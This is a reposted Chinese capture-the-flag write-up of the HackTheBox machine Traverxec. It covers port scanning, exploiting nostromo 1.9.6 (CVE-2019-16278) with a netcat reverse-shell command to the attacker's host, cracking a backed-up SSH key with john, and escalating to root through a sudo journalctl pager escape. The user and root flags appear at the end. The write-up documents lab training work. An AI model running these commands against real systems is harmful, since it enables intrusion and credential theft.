HackTheBox–Traverxec靶机详细渗透过程【通过】
2020-07-12 11:44:39 Author: forum.90sec.com(查看原文) 阅读量:651 收藏

目标ip:10.10.10.165

一.端口扫描

1.使用nmap对目标进行端口扫描

nmap -sC 10.10.10.165

20200405133151598_18647
(发现目标开启了ssh服务和web服务)
web服务打开如下:

20200405142153640_29401

二.web目录扫描

使用 skipfish对目标的目录进行扫描

skipfish -o text http://10.10.10.165/
20200405134204891_7484

(ps:进过一番查找,并没有在web页面发现什么有用的信息~)

三.web指纹识别

Whatweb是一个基于Ruby语言的开源网站指纹识别软件,正如它的名字一样,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等。

whatweb http://10.10.10.165/
20200405135542532_15005

通过扫描可以得知该站点运行在[nostromo 1.9.6]上的.

四.反弹shell

通过百度了解到nostromo 1.9.6存在远程命令执行漏洞.
漏洞编号为:CVE-2019-16278
exp地址:https://github.com/jas502n/CVE-2019-16278

bash CVE-2019-16278.sh 10.10.10.165 80 nc -c bash 10.10.14.94 444

远程执行命令,使用nc反弹shell到本机的444端口.

20200405140641129_9046

成功反弹shell,权限是www

20200405140623393_2112

由于反弹的终端不好操作,所以用python把bash终端反弹出来,命令如下:

python -c 'import pty;pty.spawn("/bin/bash")'

20200405141015606_23300

五.获取david权限

1.通过cat /etc/passwd 发现该服务器上还存在这一个david用户,通过web界面我们可以知道david应该就是服务器的管理员了.

20200405142134716_26003

2.但是我们进入david目录,发现没有权限查看~
20200405142345582_7745
3.然后由于站点运行在[nostromo]上的,所以我们可以查看一下它的配置文件

cat /var/nostromo/conf/nhttpd.conf

20200405142444250_650
4.然后发现david目录下还有个public_www目录,应该就是存放web文件的目录了.,我们可以试试cd进去看看.
20200405142609731_16796
(成功进入~)
5.发现protected-file-area目录下有个备份文件backup-ssh-identity-files.tgz,(看名字应该是ssh密钥的备份文件~),但是直接解压不了,会提示如下.

20200405143045267_8784

6.所以我们试着将他复制出来,然后再解压.

cp backup-ssh-identity-files.tgz /tmp
20200405143230960_16743

7.解压文件

tar -zxvf backup-ssh-identity-files.tgz

20200405143317599_4028
(果然把david用户的ssh密钥解压出来了~注意:是解压到当前目录的)
8.发现用户私钥.如下图

20200405144142026_5216

9.使用ssh2john.py将密钥信息转换为john可识别信息,对私钥进行破解

python /usr/share/john/ssh2john.py david_rsa > rsacrack
john rsacrack

20200405163706111_13628
10.破解成功了,加密的私钥密码为:hunter 然后使用密钥去连接目标主机

20200405170439328_31404

11.查看user.txt 成功拿到flag
7db0b48469606a42cec20750d9782f3d
20200405170543421_21121

六.获取root权限

1.尝试内核提权

1.查看linux内核版本尝试内核提权

20200405171406732_29252

版本号为:Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 GNU/Linux
尝试使用cve-2019-13272进行内核提权.地址:https://github.com/NHPT/CVE-Exploit-Script/tree/master/CVE-2019-13272
2.在kali上利用python3开启一个简单的web服务

python3 -m http.server 8899

3.在目标主机上通过wget下载提权脚本

20200405172040611_32290

4.提权失败~~
20200405172123240_13896

2.SUID提权

1.通过查看该用户目录下,发现有个bin文件夹,里面有个可执行的脚本,内容如下:
20200405172526994_25352
2.发现最后一行用sudo(root权限)执行了一个journalctl命令。
关于该命令的说明:journalctl 用来查询 systemd-journald 服务收集到的日志。systemd-journald 服务是 systemd init 系统提供的收集系统日志的服务。
然后执行以下命令。

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/less
20200405172813409_25570

3.然后输入!sh进入命令模式

20200405172856879_30710

(成功获取root权限!)
4.获取root.txt拿到flag

find / -name root.txt

20200405173410340_13318
root.txt内容:
9aa36a6d76f785dfd320a478f6e0d906


文章来源: https://forum.90sec.com/t/topic/1201
如有侵权请联系:admin#unsafe.sh